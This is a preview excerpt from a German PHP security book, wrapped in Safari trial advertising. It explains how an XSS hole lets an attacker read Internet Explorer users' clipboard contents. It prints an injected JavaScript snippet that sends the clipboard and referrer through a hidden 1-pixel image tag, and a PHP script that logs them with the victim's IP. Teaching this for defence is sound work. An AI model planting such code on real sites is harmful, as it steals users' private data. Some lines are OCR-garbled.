O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

1034.13 Die Zwischenablage per XSS auslesen
Content-Management-Systems). Um Cross-Site Scripting müssen Sie
sich mit HTML Purifier jedoch keine Sorgen mehr machen.
4.13 Die Zwischenablage per XSS auslesen
Haben Sie Zugang zu einer für XSS-Angriffe verwundbaren Seite, so
können sogar sämtliche in der Windows-Zwischenablage verfügbaren
Texte mit einem Schnipsel JavaScript und PHP von Dritten ausgelesen
und gespeichert werden. Der Angreifer nutzt dabei ein im Microsoft
Developer Network beschriebenes
9
Feature des Internet Explorer aus
(der auch der einzige Browser ist, auf dem diese Art von JavaScript-
Operation funktioniert), um den Inhalt des Clipboards auszulesen und
per JavaScript an ein kurzes PHP-Skript zu übergeben. Für die Über-
gabe eignet sich am besten ein irgendwo auf der Seite platziertes
<img>-
Tag, das 1 Pixel hoch und breit und somit praktisch unsichtbar ist.
Mit den folgenden Zeilen wird der Inhalt der Zwischenablage, der
HTTP-Referrer und die IP-Adresse des bestohlenen Anwenders ent-
wendet und an
clip_cap.php übergeben.
<script>
b = clipboardData.getData("Text");
img = '<img src="/clip_cap.php?payload=' + escape(b) +
'&referrer=' + document.referrer + '" width=1 height=1>';
document.write(img);
</script>
Zwischenablage
abfangen per JavaScript
Das kurze PHP-Skript clip_cap.php schreibt die Daten dann zeilen-
weise in eine Textdatei.
<?php
$fp = fopen("./clip_log.txt", "a");
fputs($fp, htmlentities(urldecode($_GET['payload']),ENT_QUOTES) .
":" . htmlentities($_GET['referrer'], ENT_QUOTES). ":" .
htmlentities($_SERVER['REMOTE_ADDR'] . "\n", ENT_QUOTES));
fclose($fp);
?>
Geklaute Clipboarddaten
speichern mit
clip_cap.php
Dieser »Angriff«, der ja eigentlich eine legitime Funktion des Internet
Explorer 5 und 6 ausnutzt, zeigt ein weiteres Mal, wie ernst XSS zu
nehmen ist. Anwender, die sich nicht den Quelltext jeder Seite an-
schauen, die sie besucht haben, werden von den Abwegen, auf die ihre
$ ?<303/<7+-2>$9./(##=3-2/<
9. http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/clipboarddata.asp

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required